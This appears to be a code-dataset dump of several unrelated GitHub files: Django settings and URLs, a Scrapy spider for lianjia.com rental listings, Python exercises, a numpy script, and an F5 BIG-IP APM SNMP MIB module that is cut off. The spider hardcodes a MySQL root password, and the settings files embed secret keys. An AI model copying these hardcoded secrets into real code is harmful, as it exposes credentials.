blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
3
281
content_id
stringlengths
40
40
detected_licenses
listlengths
0
57
license_type
stringclasses
2 values
repo_name
stringlengths
6
116
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringclasses
313 values
visit_date
timestamp[us]
revision_date
timestamp[us]
committer_date
timestamp[us]
github_id
int64
18.2k
668M
star_events_count
int64
0
102k
fork_events_count
int64
0
38.2k
gha_license_id
stringclasses
17 values
gha_event_created_at
timestamp[us]
gha_created_at
timestamp[us]
gha_language
stringclasses
107 values
src_encoding
stringclasses
20 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
4
6.02M
extension
stringclasses
78 values
content
stringlengths
2
6.02M
authors
listlengths
1
1
author
stringlengths
0
175
b92f07f377e480c10c7ff21ab2ee63a1f3876c6c
045b48b2e1a75bd45c87b5c352c3b6fc340b8902
/Chapter06/bookmarks/images/urls.py
ca9fb60bc859d3e04c9aaa7944715a8c384e05c3
[ "MIT" ]
permissive
fifo2019/Django-2-by-Example
c56bbad3a1c18242e832c452703619ec5e50caf4
1f8be1f5717e5c83feac8ded5d8c78a3b64ce864
refs/heads/master
2020-07-27T15:10:09.347076
2019-09-19T19:10:58
2019-09-19T19:10:58
209,136,653
1
0
MIT
2019-09-17T19:11:26
2019-09-17T19:11:26
null
UTF-8
Python
false
false
375
py
from django.urls import path from . import views app_name = 'images' urlpatterns = [ path('create/', views.image_create, name='create'), path('detail/<int:id>/<slug:slug>/', views.image_detail, name='detail'), path('like/', views.image_like, name='like'), path('', views.image_list, name='list'), path('ranking/', views.image_ranking, name='create'), ]
[ "prajaktam@packtpub.com" ]
prajaktam@packtpub.com
6e1a0f4eb1de8bb8c2e36e6c77fecf3cd02327e4
57237351cde7421ab42ca9a4acf563126e0c88b0
/lianJiaProject/spiders/lianjia.py
e53e2a6f3d90178b7a64468eaa60eb15facec64a
[]
no_license
swarosky44/LianJiaSpider
2a85d0dd22280223a6827169807115035fa9711e
12855f4d0a8f7edd89f356eefe011891f2b5d29f
refs/heads/master
2020-05-21T15:37:15.070565
2017-03-15T10:24:34
2017-03-15T10:24:34
84,630,754
0
0
null
null
null
null
UTF-8
Python
false
false
5,033
py
# -*- coding: utf-8 -*- import scrapy import requests import re import time import pymysql from BeautifulSoup import BeautifulSoup from ..items import LianjiaprojectItem class LianJiaProject(scrapy.Spider): name = 'lianjiaspider' start_urls = ['http://sh.lianjia.com/zufang/'] conn = pymysql.connect( host='127.0.0.1', unix_socket='/tmp/mysql.sock', user='root', passwd='lisen930120', db='mysql', charset='utf8' ) cur = conn.cursor() cur.execute('USE lianjia') def start_request(self): user_agent = 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.22 \ Safari/537.36 SE 2.X MetaSr 1.0' headers = { 'User-Agent': user_agent } yield scrapy.Request(url=self.start_urls, headers=headers, method='GET', callback=self.parse) def parse(self, response): user_agent = 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.22 \ Safari/537.36 SE 2.X MetaSr 1.0' headers = { 'User-Agent': user_agent } bs = BeautifulSoup(response.body) area_list = bs.find('div', { 'id': 'filter-options' }).find('dl', { 'class': 'dl-lst clear' }).find('dd').find('div', { 'class': 'option-list gio_district' }).findAll('a') for area in area_list: try: area_han = area.string area_pin = area['href'].split('/')[2] if area_pin: area_url = 'http://sh.lianjia.com/zufang/{}/'.format(area_pin) yield scrapy.Request( url=area_url, headers=headers, callback=self.detail_url, meta={'id1': area_han, 'id2': area_pin} ) except Exception: pass def detail_url(self, response): for i in range(1, 101): url = 'http://sh.lianjia.com/zufang/{}/d{}'.format(response.meta['id2'], str(i)) time.sleep(2) try: contents = requests.get(url) bs = BeautifulSoup(contents.content) houselist = bs.find('ul', { 'id': 'house-lst' }).findAll('li') for house in houselist: try: item = LianjiaprojectItem() infoPanel = house.find('div', { 'class': 'info-panel' }) infoTitle = infoPanel.find('h2') infoCols = infoPanel.findAll('div', { 'class': re.compile(r'^col-\d') }) item['title'] = infoTitle.find('a', { 'name': 'selectDetail' })['title'] item['community'] = infoCols[0].find('div', { 'class': 'where' }).find('a', { 'class': 'laisuzhou' }).find('span', { 'class': 'nameEllipsis' }).string item['model'] = infoCols[0].find('div', { 'class': 'where' }).findAll('span')[0].string item['area'] = infoCols[0].find('div', { 'class': 'where' }).findAll('span')[1].string.replace('&nbsp;', '') item['watch_num'] = infoCols[2].find('div', { 'class': 'square' }).find('div').find('span', { 'class': 'num' }).string item['time'] = infoCols[1].findAll('div', { 'class': 'price-pre' })[0].string[0:11].strip('\n') item['price'] = infoCols[1].findAll('span', { 'class': 'num' })[0].string item['link'] = infoTitle.find('a', { 'name': 'selectDetail' })['href'] item['city'] = response.meta["id1"] url_detail = 'http://sh.lianjia.com{}'.format(item['link']) mapDic = self.get_latitude(url_detail) item['latitude'] = mapDic['latitude'] item['longitude'] = mapDic['longitude'] self.store_item(item) except Exception: pass yield item except Exception: pass def get_latitude(self, url): mapDic = {} content = requests.get(url) bs = BeautifulSoup(content.content) mapDom = bs.find('div', { 'id': 'zoneMap' }) mapDic = { 'latitude': mapDom['latitude'], 'longitude': mapDom['longitude'] } time.sleep(3) return mapDic def store_item(self, item): try: sql = "INSERT INTO houses (title, community, model, area, watch_num, time, price, link, latitude, longitude, city) VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)" self.cur.execute(sql, (item['title'], item['community'], item['model'], item['area'], item['watch_num'], item['time'], item['price'], item['link'], item['latitude'], item['longitude'], item['city'])) self.conn.commit() except Exception as e: print(e) cur.close() conn.close()
[ "swarosky44@gmail.com" ]
swarosky44@gmail.com
1ed13503cfc75a9de9161f83af19c119e4aa1a45
baefe2e480adee987cf8e2b6be33da89931b0694
/02练习/练习题01.py
f6b3b8e4a4f3c515b40976960dbf5d9c822243b5
[]
no_license
KingTom1/StudyBySelf
d92963c606b79696f0a22a3d48c2bec707f4a653
c6d5326c5b6a7fd74b55ac255ee8bf20cebd199b
refs/heads/master
2020-04-04T22:08:49.617029
2019-01-29T06:00:37
2019-01-29T06:00:37
156,311,626
1
0
null
null
null
null
UTF-8
Python
false
false
1,414
py
##2.#计算一个12.5m*16.7m的矩形房间的面积和周长 a=12.5 b=16.7 mj=a*b zc=2*(a+b) print('面积=',mj,' 周长=',zc) ##3.#怎么得到9/2的小数结果 c=float(9/2) print(c) ##4.#python计算中7*7*7*7.可以有多少种写法 print(pow(7,4)) print(7**4) #写程序将温度从华氏温度转换为摄氏温度。转换公式为C=5/9*(F-32) ##F=input() #C=5/9*(int(F)-32) #print(C) #一家商场在降价促销。如果购买金额50-100元(包含50元和100元)之间,会给10%的折扣, # 如果购买金额大于100元会给20%折扣。编写一程序,询问购买价格,再显示出折扣(%10或20%)和最终价格 a=123 def ttt(a): if a>50 and a<100: c=0.1; if a>100: c=0.2 return c print(ttt(a)) #7.#判断一个数n能同时被3和5整除 a=111 if a%3==0 and a%5==0: print(a,'可以被整除'); else: print(a, '不可以被整除'); #求1+2+3+...+100(第三种) #14.#3个人在餐厅吃饭,想分摊饭费。总共花费35.27美元,他们还想给15%的消费。每个人该怎么付钱 print(35.27*1.15/3) #16、打印10到1的数字: a=10 while a>0: print(a) a-=1; # 22.#嵌套循环输出10-50中个位带有1-5的所有数字 for i in range(10,50): if str(i)[1] in ["1","2","3","4","5"]: print(str(i)[0]) print(i); #23、输入1-127的ascii码并输出对应字符 for i in range(1,128): print(chr(i))
[ "38772091+KingTom1@users.noreply.github.com" ]
38772091+KingTom1@users.noreply.github.com
b273a37fb3e2c9240e6ff15a4fa8e29276a8f2ed
ee878b70f2806253ca56fed05e4b81becf980b0e
/mondayweek3_inclass_palmer.py
0b7eb6ddc5363e667b87d5021811760b8d275603
[]
no_license
dpalmer4/clsm_palmer
b41aaf106dad06c34e5b0c54ff88caf7089de1ee
fcd48ec66f417b2cf5c35aec5b3ca5ae5bedc576
refs/heads/master
2020-12-19T06:52:34.698282
2020-06-01T20:13:34
2020-06-01T20:13:34
235,654,604
0
0
null
null
null
null
UTF-8
Python
false
false
550
py
# -*- coding: utf-8 -*- """ Created on Mon Jan 27 19:49:44 2020 @author: danpa """ import numpy as np import matplotlib.pyplot as plt x=np.random.rand(1000000) K=1 T=1 A=1 m=1 z=1 #probability distribution of Energy E=(-K*T*np.log(K*T*x/A)) plt.hist(E,100,density=1) plt.xlabel("Energy") plt.ylabel("probability") plt.show() #probability distribution of velocity vp=np.sqrt(np.log(2/(E*z))*2*K*T/m)-1 #positive velocities vn=-np.sqrt(np.log(2/(E*z))*2*K*T/m)+1 #negative velocities v=np.concatenate((vp,vn)) plt.hist(v,100,density=1) plt.show()
[ "60151424+dpalmer4@users.noreply.github.com" ]
60151424+dpalmer4@users.noreply.github.com
bc730a8da9729cbccb9fe2bd4763e6dd87f15209
810791df9beb0e7b8cb6eedb18649e9f193f62e9
/TreeCategories/settings.py
1f10c77caca4d2a4ff53cda84c680e202c222a48
[]
no_license
BritishAirlines/CategoryTree
76016214a3fae9aab6a4068aa7bee73acfe8eaa4
135fc0f8128616ef133dcc29ec30edffd69f8b63
refs/heads/main
2023-01-23T05:43:19.729372
2020-11-26T13:34:44
2020-11-26T13:34:44
315,663,158
0
0
null
null
null
null
UTF-8
Python
false
false
4,385
py
""" Django settings for TreeCategories project. Generated by 'django-admin startproject' using Django 3.1.3. For more information on this file, see https://docs.djangoproject.com/en/3.1/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/3.1/ref/settings/ """ from pathlib import Path # Build paths inside the project like this: BASE_DIR / 'subdir'. BASE_DIR = Path(__file__).resolve().parent.parent # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/3.1/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = '259_)bt+zefmqq+_eqn$%ko8cfxzlryla5%d0s5_p1u!q7m5t(' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = [] # Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'api' ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'TreeCategories.urls' LOGGING = { 'version': 1, 'disable_existing_loggers': True, 'formatters': { 'standard': { 'format': "[%(asctime)s] %(levelname)s [%(name)s:%(lineno)s] %(message)s", 'datefmt': "%d/%b/%Y %H:%M:%S" }, }, 'handlers': { 'null': { 'level': 'DEBUG', 'class': 'logging.NullHandler', }, 'logfile': { 'level': 'INFO', 'class': 'logging.handlers.RotatingFileHandler', 'filename': "debug.log", 'maxBytes': 500000000, 'backupCount': 1, 'formatter': 'standard', }, 'console': { 'level': 'INFO', 'class': 'logging.StreamHandler', 'formatter': 'standard' }, }, 'loggers': { 'django': { 'handlers': ['console', 'logfile'], 'propagate': True, 'level': 'WARNING', }, 'django.db.backends': { 'handlers': ['console', 'logfile'], 'level': 'WARNING', 'propagate': True, }, 'api': { 'handlers': ['console', 'logfile'], 'level': 'INFO', 'propagate': True } } } TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [BASE_DIR / 'templates'] , 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'TreeCategories.wsgi.application' # Database # https://docs.djangoproject.com/en/3.1/ref/settings/#databases SOUTH_TESTS_MIGRATE = False DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': 'database' } } # Password validation # https://docs.djangoproject.com/en/3.1/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/3.1/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/3.1/howto/static-files/ STATIC_URL = '/static/'
[ "ilya_brykau@epam.com" ]
ilya_brykau@epam.com
71619690ce1315a1467d2da14697223edb31bfb4
195915dab8406c2e934d0ffa8c500b1317c5e6f1
/bestrestra/settings.py
220f1de76ec4f3342e69561c80dc947ed02197e7
[]
no_license
theparadoxer02/bestrestra
28c2e46ae124a7496d889933daefe3c36dbbe9a2
13dccc988ee78eebc685111cb486a8c1342deb3c
refs/heads/master
2020-12-24T19:51:07.521744
2017-03-26T08:09:18
2017-03-26T08:09:18
86,217,158
0
0
null
null
null
null
UTF-8
Python
false
false
3,586
py
""" Django settings for bestrestra project. Generated by 'django-admin startproject' using Django 1.10.6. For more information on this file, see https://docs.djangoproject.com/en/1.10/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.10/ref/settings/ """ import os # Build paths inside the project like this: os.path.join(BASE_DIR, ...) BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) PROJECT_ROOT = os.path.dirname(os.path.abspath(__file__)) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/1.10/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = 'na-%mmzwa4(a%9erh$fsqxs_)4ur_-$sbeof6u!2%ptq)u4xn&' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = [] # Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'bestrestra.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [os.path.join(BASE_DIR, 'bestresta/templates')], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'bestrestra.wsgi.application' # Database # https://docs.djangoproject.com/en/1.10/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'django.db.backends.postgresql_psycopg2', 'NAME': 'clashhacks', 'USER': 'abhi' } } # Password validation # https://docs.djangoproject.com/en/1.10/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/1.10/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/1.10/howto/static-files/ STATIC_ROOT = os.path.join(PROJECT_ROOT, 'staticfiles') STATIC_URL = '/static/' STATICFILES_DIRS = [ os.path.join(PROJECT_ROOT, 'static'), ] import dj_database_url DATABASES['default'] = dj_database_url.config() SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https') ALLOWED_HOSTS = ['*'] DEBUG = False try: from .local_settings import * except ImportError: pass
[ "abhimanyu98986@gmail.com" ]
abhimanyu98986@gmail.com
7b0d198edd0ab71fba7c49944e970931a0dbc404
85a9ffeccb64f6159adbd164ff98edf4ac315e33
/pysnmp/F5-BIGIP-APM-MIB.py
f32fb6c2ec66d59f08f2b797478be0cf5a1eb2d9
[ "Apache-2.0" ]
permissive
agustinhenze/mibs.snmplabs.com
5d7d5d4da84424c5f5a1ed2752f5043ae00019fb
1fc5c07860542b89212f4c8ab807057d9a9206c7
refs/heads/master
2020-12-26T12:41:41.132395
2019-08-16T15:51:41
2019-08-16T15:53:57
237,512,469
0
0
Apache-2.0
2020-01-31T20:41:36
2020-01-31T20:41:35
null
UTF-8
Python
false
false
117,788
py
# # PySNMP MIB module F5-BIGIP-APM-MIB (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/F5-BIGIP-APM-MIB # Produced by pysmi-0.3.4 at Mon Apr 29 18:57:38 2019 # On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 # Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15) # OctetString, ObjectIdentifier, Integer = mibBuilder.importSymbols("ASN1", "OctetString", "ObjectIdentifier", "Integer") NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues") ConstraintsIntersection, ConstraintsUnion, ValueSizeConstraint, SingleValueConstraint, ValueRangeConstraint = mibBuilder.importSymbols("ASN1-REFINEMENT", "ConstraintsIntersection", "ConstraintsUnion", "ValueSizeConstraint", "SingleValueConstraint", "ValueRangeConstraint") bigipCompliances, LongDisplayString, bigipGroups, bigipTrafficMgmt = mibBuilder.importSymbols("F5-BIGIP-COMMON-MIB", "bigipCompliances", "LongDisplayString", "bigipGroups", "bigipTrafficMgmt") InetAddressType, InetAddress, InetPortNumber = mibBuilder.importSymbols("INET-ADDRESS-MIB", "InetAddressType", "InetAddress", "InetPortNumber") ModuleCompliance, NotificationGroup, ObjectGroup = mibBuilder.importSymbols("SNMPv2-CONF", "ModuleCompliance", "NotificationGroup", "ObjectGroup") NotificationType, Counter32, MibScalar, MibTable, MibTableRow, MibTableColumn, enterprises, Opaque, Bits, ObjectIdentity, Unsigned32, TimeTicks, IpAddress, MibIdentifier, Integer32, iso, ModuleIdentity, Counter64, Gauge32 = mibBuilder.importSymbols("SNMPv2-SMI", "NotificationType", "Counter32", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "enterprises", "Opaque", "Bits", "ObjectIdentity", "Unsigned32", "TimeTicks", "IpAddress", "MibIdentifier", "Integer32", "iso", "ModuleIdentity", "Counter64", "Gauge32") MacAddress, TextualConvention, DisplayString = mibBuilder.importSymbols("SNMPv2-TC", "MacAddress", "TextualConvention", "DisplayString") bigipApm = ModuleIdentity((1, 3, 6, 1, 4, 1, 3375, 2, 6)) if mibBuilder.loadTexts: bigipApm.setLastUpdated('201507231521Z') if mibBuilder.loadTexts: bigipApm.setOrganization('F5 Networks, Inc.') apmProfiles = MibIdentifier((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1)) apmProfileAccessStat = MibIdentifier((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1)) apmProfileConnectivityStat = MibIdentifier((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 2)) apmProfileRewriteStat = MibIdentifier((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 3)) apmAccessStat = MibIdentifier((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 4)) apmGlobalConnectivityStat = MibIdentifier((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 5)) apmGlobalRewriteStat = MibIdentifier((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 6)) apmProfileAccessAgentStat = MibIdentifier((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 7)) apmProfileAccessMiscStat = MibIdentifier((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 8)) apmLeasepool = MibIdentifier((1, 3, 6, 1, 4, 1, 3375, 2, 6, 2)) apmLeasepoolStat = MibIdentifier((1, 3, 6, 1, 4, 1, 3375, 2, 6, 2, 1)) apmAcl = MibIdentifier((1, 3, 6, 1, 4, 1, 3375, 2, 6, 3)) apmAclStat = MibIdentifier((1, 3, 6, 1, 4, 1, 3375, 2, 6, 3, 1)) apmPaStatResetStats = MibScalar((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 1), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: apmPaStatResetStats.setStatus('current') apmPaStatNumber = MibScalar((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 2), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatNumber.setStatus('current') apmPaStatTable = MibTable((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3), ) if mibBuilder.loadTexts: apmPaStatTable.setStatus('current') apmPaStatEntry = MibTableRow((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1), ).setIndexNames((0, "F5-BIGIP-APM-MIB", "apmPaStatName"), (0, "F5-BIGIP-APM-MIB", "apmPaStatVsName")) if mibBuilder.loadTexts: apmPaStatEntry.setStatus('current') apmPaStatName = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 1), LongDisplayString()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatName.setStatus('current') apmPaStatConfigSyncState = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 2), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatConfigSyncState.setStatus('deprecated') apmPaStatTotalSessions = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 3), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatTotalSessions.setStatus('current') apmPaStatTotalEstablishedStateSessions = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 4), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatTotalEstablishedStateSessions.setStatus('current') apmPaStatCurrentActiveSessions = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 5), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatCurrentActiveSessions.setStatus('current') apmPaStatCurrentPendingSessions = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 6), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatCurrentPendingSessions.setStatus('current') apmPaStatCurrentCompletedSessions = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 7), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatCurrentCompletedSessions.setStatus('current') apmPaStatUserLoggedoutSessions = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 8), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatUserLoggedoutSessions.setStatus('current') apmPaStatAdminTerminatedSessions = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 9), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatAdminTerminatedSessions.setStatus('current') apmPaStatMiscTerminatedSessions = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 10), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatMiscTerminatedSessions.setStatus('current') apmPaStatAccessPolicyResultAllow = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 11), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatAccessPolicyResultAllow.setStatus('current') apmPaStatAccessPolicyResultDeny = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 12), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatAccessPolicyResultDeny.setStatus('current') apmPaStatAccessPolicyResultRedirect = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 13), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatAccessPolicyResultRedirect.setStatus('current') apmPaStatAccessPolicyResultRedirectWithSession = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 14), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatAccessPolicyResultRedirectWithSession.setStatus('current') apmPaStatEndingDenyAgentTotalInstances = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 15), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEndingDenyAgentTotalInstances.setStatus('deprecated') apmPaStatEndingDenyAgentTotalUsages = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 16), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEndingDenyAgentTotalUsages.setStatus('deprecated') apmPaStatEndingDenyAgentTotalSuccesses = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 17), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEndingDenyAgentTotalSuccesses.setStatus('deprecated') apmPaStatEndingDenyAgentTotalFailures = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 18), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEndingDenyAgentTotalFailures.setStatus('deprecated') apmPaStatEndingDenyAgentTotalErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 19), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEndingDenyAgentTotalErrors.setStatus('deprecated') apmPaStatEndingDenyAgentTotalSessVars = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 20), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEndingDenyAgentTotalSessVars.setStatus('deprecated') apmPaStatEndingRedirectAgentTotalInstances = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 21), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEndingRedirectAgentTotalInstances.setStatus('deprecated') apmPaStatEndingRedirectAgentTotalUsages = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 22), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEndingRedirectAgentTotalUsages.setStatus('deprecated') apmPaStatEndingRedirectAgentTotalSuccesses = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 23), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEndingRedirectAgentTotalSuccesses.setStatus('deprecated') apmPaStatEndingRedirectAgentTotalFailures = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 24), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEndingRedirectAgentTotalFailures.setStatus('deprecated') apmPaStatEndingRedirectAgentTotalErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 25), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEndingRedirectAgentTotalErrors.setStatus('deprecated') apmPaStatEndingRedirectAgentTotalSessVars = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 26), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEndingRedirectAgentTotalSessVars.setStatus('deprecated') apmPaStatEndingAllowAgentTotalInstances = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 27), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEndingAllowAgentTotalInstances.setStatus('deprecated') apmPaStatEndingAllowAgentTotalUsages = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 28), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEndingAllowAgentTotalUsages.setStatus('deprecated') apmPaStatEndingAllowAgentTotalSuccesses = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 29), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEndingAllowAgentTotalSuccesses.setStatus('deprecated') apmPaStatEndingAllowAgentTotalFailures = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 30), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEndingAllowAgentTotalFailures.setStatus('deprecated') apmPaStatEndingAllowAgentTotalErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 31), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: 